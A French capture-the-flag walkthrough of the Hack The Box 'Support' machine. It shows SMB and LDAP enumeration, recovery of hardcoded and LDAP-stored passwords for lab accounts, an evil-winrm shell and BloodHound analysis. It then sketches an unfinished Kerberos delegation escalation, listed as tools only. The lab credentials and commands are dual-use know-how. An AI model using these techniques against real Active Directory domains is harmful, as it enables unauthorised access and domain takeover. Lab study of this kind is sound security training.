Hack The Box Walkthrough - Support

  • Machine ciblée : SUPPORT.

  • Répertoire : /home/kali/support

  • Temps passé dessus : 4x3h

Phase 1 : Reconnaissance

┌──(kali㉿kali)-[~]
└─$
name="support"
repository="/home/kali/$name"
ip="10.10.11.174"
cd $repository || mkdir $repository && cd $repository
grep "$ip $name ${name}.htb" /etc/hosts >/dev/null || echo "$ip $name ${name}.htb" | sudo tee -a /etc/hosts
nmap  -Pn -A -T5 --top-port 1000 -oN $repository/txt $ip
nmap  -Pn -A -T5 -p - -oN $repository/full $ip

Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-11 07:39 EDT
Nmap scan report for dc.support.htb (10.10.11.174)
Host is up (0.071s latency).
Not shown: 8338 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-10-11 11:40:13Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open  mc-nmf        .NET Message Framing
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 114.86 seconds

On voit ici que nous avons les ports 389, 636 qui nous indique un LDAP. Après analyse de celui-çi grâce à l’option -sV, on sait qu’il s’agit d’un serveur Active Directory… Ce qui signifie que des partages sont présents ! On aperçoit en effet les ports 445 qui sont associés à smb. En parallèle, il est possible d’envoyer des requêtes de découverte de l’AD avec kerbrute. Ça ne sera pas vraiment utile, mais c’est une bonne étape de reconnaissance en général. WADComs montre également quelques style d’attaque contre du Windows/de l’Active Directory.

On en profite pour rajouter les infos du domain dans le fichier hosts :

echo $ip support.htb dc.support.htb >> /etc/hosts

Phase 2 : Analyse

Le service SMB

Jetons un œil au service smb : N.B : cette recherche est également faisable avec smbclient

┌──(kali㉿kali)-[~/support]
└─$ smbmap -u 'guest' -p '' -H $ip #mettre les 2 options permet d'eviter d'envoyer nos creds (ex : Workgroup/Kali)

Disk                                                    Permissions     Comment
----                                                    -----------     -------
ADMIN$                                                  NO ACCESS       Remote Admin
C$                                                      NO ACCESS       Default share
IPC$                                                    READ ONLY       Remote IPC
NETLOGON                                                NO ACCESS       Logon server share
support-tools                                           READ ONLY       support staff tools
SYSVOL                                                  NO ACCESS       Logon server share

Dans la liste, on remarque un partage anormal sur un Active Directory : support. On va regarder

┌──(kali㉿kali)-[~/support]
└─$  smbmap -u 'guest' -p '' -H $ip -R support-tools
Disk                                                    Permissions     Comment
----                                                    -----------     -------
support-tools                                           READ ONLY
.\support-tools\*
dr--r--r--                0 Tue Oct 11 07:29:50 2022    .
dr--r--r--                0 Tue Oct 11 07:29:09 2022    ..
fr--r--r--          2880728 Sat May 28 07:19:19 2022    7-ZipPortable_21.07.paf.exe
fr--r--r--          5439245 Sat May 28 07:19:55 2022    npp.8.4.1.portable.x64.zip
fr--r--r--          1273576 Sat May 28 07:20:06 2022    putty.exe
fr--r--r--         48102161 Sat May 28 07:19:31 2022    SysinternalsSuite.zip
fr--r--r--           277499 Wed Jul 20 13:01:07 2022    UserInfo.exe.zip
fr--r--r--            79171 Sat May 28 07:20:17 2022    windirstat1_1_2_setup.exe
fr--r--r--         44398000 Sat May 28 07:19:43 2022    WiresharkPortable64_3.6.5.paf.exe

Le fichier UserInfo

On continue sur l’intuition : on trouve un fichier UserInfo.exe.zip. Autant regarder ce qu’il vaut !

┌──(kali㉿kali)-[~/support]
└─$ smbmap -u 'guest' -p '' -H $ip --download support-tools\\UserInfo.exe.zip
┌──(kali㉿kali)-[~/support]
└─$ unzip ${ip}-support-tools_Userinfo.exe.zip -d $repository/UserInfo
┌──(kali㉿kali)-[~/support]
└─$ ls $repository/UserInfo
CommandLineParser.dll                                      Microsoft.Extensions.Logging.Abstractions.dll  System.Runtime.CompilerServices.Unsafe.dll
Microsoft.Bcl.AsyncInterfaces.dll                          System.Buffers.dll                             System.Threading.Tasks.Extensions.dll
Microsoft.Extensions.DependencyInjection.Abstractions.dll  System.Memory.dll                              UserInfo.exe
Microsoft.Extensions.DependencyInjection.dll               System.Numerics.Vectors.dll                    UserInfo.exe.config

┌──(kali㉿kali)-[~/support]
└─$ file $repository/UserInfo/System.Runtime.CompilerServices.Unsafe.dll

support/qwer/System.Runtime.CompilerServices.Unsafe.dll: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

┌──(kali㉿kali)-[~/support]
└─$ cat $repository/UserInfo/UserInfo.exe.config

<?xml version="1.0" encoding="utf-8"?>
<configuration>
    <startup>
        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8" />
    </startup>
  <runtime>
    <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
      <dependentAssembly>
        <assemblyIdentity name="System.Runtime.CompilerServices.Unsafe" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
        <bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
      </dependentAssembly>
    </assemblyBinding>
  </runtime>Elles
</configuration>

┌──(kali㉿kali)-[~/support]
└─$ strings $repository/UserInfo/UserInfo.exe
[...]
set_AppName
get_UserName
set_UserName
get_LastName
set_LastName
get_FirstName
set_FirstName
username
[...]
LdapQuery
query
DirectoryEntry
entry
[...]

Cette étape peut également se faire en décompilant le code source. Pour cela, utiliser un IDE qui gère le C# ou alors le site https://www.decompiler.com/. C’est très intéressant a faire afin de comprendre comment ces derniers ont offusque le mot de passe du compte.

On voit donc qu’il s’agit de fichier DLL et d’un fichier exe pour Windows. Le fichier exe semble appeler différentes commandes dont 1 LdapQuery … Ce qui signifie qu’il y a sans doute une connexion LDAP qui s’effectue avec ce logiciel, voyons voir :

┌──(kali㉿kali)-[~/support]
└─$ wireshark -i tun0 & #Je sais pas si ça marche, ce qui compte c'est que le wireshark tourne sur l'interface tun0 pour voir la co. Lancer a la main, ça fonctionne aussi bien.

#si mono n'existe pas sur votre machine : sudo apt install mono-complete
┌──(kali㉿kali)-[~/support]
└─$ mono $repository/UserInfo/UserInfo.exe

Usage: UserInfo.exe [options] [commands]

Options:
  -v|--verbose        Verbose output

Commands:
  find                Find a user
  user                Get information about a user

┌──(kali㉿kali)-[~/support]
└─$ mono $repository/UserInfo/UserInfo.exe find -first toto #On découvre le -first a l'aide de la doc.
[-] Exception: No Such Object

On voit ici la requete passer sous wireshark :

La trace WireShark qui montre la connexion LDAP et le mot de passe

Nous voici donc avec le mot de passe du compte support\ldap bien que difficilement remarquable …

La recherche LDAP

Nous voici donc avec le mot de passe du compte support\ldap. Ce dernier étant capable de faire des requêtes LDAP, on va en profiter :

┌──(kali㉿kali)-[~/support]
└─$ ldap_ldap_username="support\\ldap"
┌──(kali㉿kali)-[~/support]
└─$ ldap_ldap_password='nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
┌──(kali㉿kali)-[~/support]
└─$ ldapsearch  -D $ldap_ldap_username -w $ldap_ldap_password -H 'ldap://support.htb' -LLL -b "DC=support,DC=htb" (|("objectClass"="user")("objectClass"="computer")) distinguishedName memberof Description sAMAccountName

dn: CN=Administrator,CN=Users,DC=support,DC=htb
description: Built-in account for administering the computer/domain
distinguishedName: CN=Administrator,CN=Users,DC=support,DC=htb
memberOf: CN=Group Policy Creator Owners,CN=Users,DC=support,DC=htb
memberOf: CN=Domain Admins,CN=Users,DC=support,DC=htb
memberOf: CN=Enterprise Admins,CN=Users,DC=support,DC=htb
memberOf: CN=Schema Admins,CN=Users,DC=support,DC=htb
memberOf: CN=Administrators,CN=Builtin,DC=support,DC=htb
sAMAccountName: Administrator

dn: CN=Guest,CN=Users,DC=support,DC=htb
description: Built-in account for guest access to the computer/domain
distinguishedName: CN=Guest,CN=Users,DC=support,DC=htb
memberOf: CN=Guests,CN=Builtin,DC=support,DC=htb
sAMAccountName: Guest

dn: CN=krbtgt,CN=Users,DC=support,DC=htb
description: Key Distribution Center Service Account
distinguishedName: CN=krbtgt,CN=Users,DC=support,DC=htb
memberOf: CN=Denied RODC Password Replication Group,CN=Users,DC=support,DC=htb
sAMAccountName: krbtgt

dn: CN=ldap,CN=Users,DC=support,DC=htb
distinguishedName: CN=ldap,CN=Users,DC=support,DC=htb
sAMAccountName: ldap

dn: CN=support,CN=Users,DC=support,DC=htb
distinguishedName: CN=support,CN=Users,DC=support,DC=htb
memberOf: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb
sAMAccountName: support

dn: CN=smith.rosario,CN=Users,DC=support,DC=htb
distinguishedName: CN=smith.rosario,CN=Users,DC=support,DC=htb
sAMAccountName: smith.rosario

#[... De nombreux autres utilisateurs dont on s'en fout un peu.]

Si t’as directement trouvé la piste, j’applaudis à 2 mains; t’es bien meilleur que moi … On peut voir ici 2 trucs : il y a un seul compte disposant des droits d’administrations complets : Administrator, mais un autre compte peut se connecter aux machines ! il s’agit du compte support qui est membre des groupes Shared Support Accounts et Remote Management Users Petite recherche sur google, on tombe sur les informations qui vont bien :

Members of the Remote Management Users group can access WMI resources over management protocols (such as WS-Management via the Windows Remote Management service). This applies only to WMI namespaces that grant access to the user. The Remote Management Users group is generally used to allow users to manage servers through the Server Manager console, whereas the WinRMRemoteWMIUsers_ group is allows remotely running Windows PowerShell commands.

Si seulement on pouvait avoir son mot de passe …. A moins que …

┌──(kali㉿kali)-[~/support]
└─$ ldapsearch  -D $ldap_ldap_username -w $ldap_ldap_password -H 'ldap://support.htb' -LLL -b "DC=support,DC=htb" "cn"="support"

dn: CN=support,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: support
c: US
l: Chapel Hill
st: NC
postalCode: 27514
distinguishedName: CN=support,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111200.0Z
whenChanged: 20221011062420.0Z
uSNCreated: 12617
info: Ironside47pleasure40Watchful
memberOf: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb
uSNChanged: 81994
company: support
streetAddress: Skipper Bowles Dr
name: support
objectGUID:: CqM5MfoxMEWepIBTs5an8Q==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 133099668996339800
lastLogoff: 0
lastLogon: 133099670650403676
pwdLastSet: 132982099209777070
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILUQQAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: support
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528111201.0Z
dSCorePropagationData: 16010101000000.0Z
lastLogonTimestamp: 133099430608239198

Vous l’avez ? il s’agit cette fois-ci du champs info qui nous donne le mot de passe d’un utilisateur qui peut se connecter sur la machine.

┌──(kali㉿kali)-[~/support]
└─$ ldap_support_username="support\\support"
┌──(kali㉿kali)-[~/support]
└─$ ldap_support_password="Ironside47pleasure40Watchful"
┌──(kali㉿kali)-[~/support]
└─$ evil-winrm -i $ip -u $ldap_support_username -p $ldap_support_password

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\support\Documents> cat ../desktop/user.txt
6481552c4a0688542c434a6713516328

Dance
Première danse de la victoire !On peut donc passer a la phase de reconnaissance en tant qu’utilisateur du domaine.

Phase 3 : User

Qui dit Active Directory dit en général BloodHound. Cet utilitaire en Neo4j n’est plus a présenter … Mais à installer. Pour cela, suivre la fiche sur BloodHound.

Une fois ce dernier lancer, il faut collecter les informations pour faire ses graphiques. Étant sous une Kali, je me suis tourné vers BloodHoundPy.

┌──(kali㉿kali)-[~/support]
└─$ ~/Tools/BloodHound --no-sandbox
┌──(kali㉿kali)-[~/support]
└─$ bloodhound-python -d support.htb --zip -c All --dc dc.support.htb --ns $ip -u $ldap_support_username -p $ldap_support_password

INFO: Found AD domain: support.htb
INFO: Connecting to LDAP server: dc.support.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc.support.htb
INFO: Found 21 users
INFO: Found 53 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: Management.support.htb
INFO: Querying computer: dc.support.htb
INFO: Done in 00M 17S
INFO: Compressing output into 20221011104156_bloodhound.zip

Pour importer le fichier zip, il suffit de drag and drop le fichier sur l’interface de BloodHound. BloodHound Import
Une fois importer, on peut commencer a fouiller : BloodHound View
L’objectif étant de trouver un lien bizarre entre quelque chose que l’utilisateur support possede et le DC ou le domaine. Et cela se trouve ici :
BloodHound PathAnalysis
Cette fois-ci, vous l’avez ? Il faut se souvenir que notre compte support est membre du groupe Shared Support Accounts. Ce groupe la dispose d’un droit Generic All sur le serveur dc.support.htb. Un clic droit sur le lien permet d’avoir information sur comment abuser du lien.

Phase 4 : Élévation de privilège

Explication de S4U2Self (à compléter)

Pour cela, il faut déjà télécharger chacun des outils sur le site adéquat puis les pousser sur la machine à l’aide de la commande upload d”Evil-Winrm. Une fois cela fait, il est temps de commencer l’élévation de privilège.
Le principe est assez « simple » en pratique mais compliqué en théorie. Étant donné que nous sommes dans le groupe Shared Support Accounts, on a le droit de modifier ce que l’on veut sur la machine DC.support.htb. Si cela avait été une machine normal, nous aurions pu être administrateur de la machine. Seulement, sur un serveur Active Directory, être admin de la machine revient à être admin du domaine ==> T’as gagné, t’as les pleins pouvoir et tu peux faire ce que tu veux sur le parc. Pour cela, on va dire modifier l’objet LDAP du DC pour lui dire qu’il a confiance absolu en une autre machine. Ensuite, l’autre machine va tenter de se connecter.

Déroulé de l’attaque (à compléter)

La phase d’élévation de privilège va demander différents outils. Il faudra, pour la partie Windows :

  • PowerMad : Cet outil permet de créer une nouvelle machine en utilisant le MachineAccountQuota que n’importe quel utilisateur peut exploiter.

  • PowerView : Cet outil permet de faire de la reconnaissance plus poussée sur l’Active Directory.

  • Rubeus : L’outil Windows pour exploiter Kerberos (Vous l’avez ? Rubeus Hagrid qui s’occupe de Cerbère ?)

Et voilà, vous êtes maintenant connecté sur le serveur DC en tant qu’Administrateur. On peut récupérer le flag, et ranger ses affaires.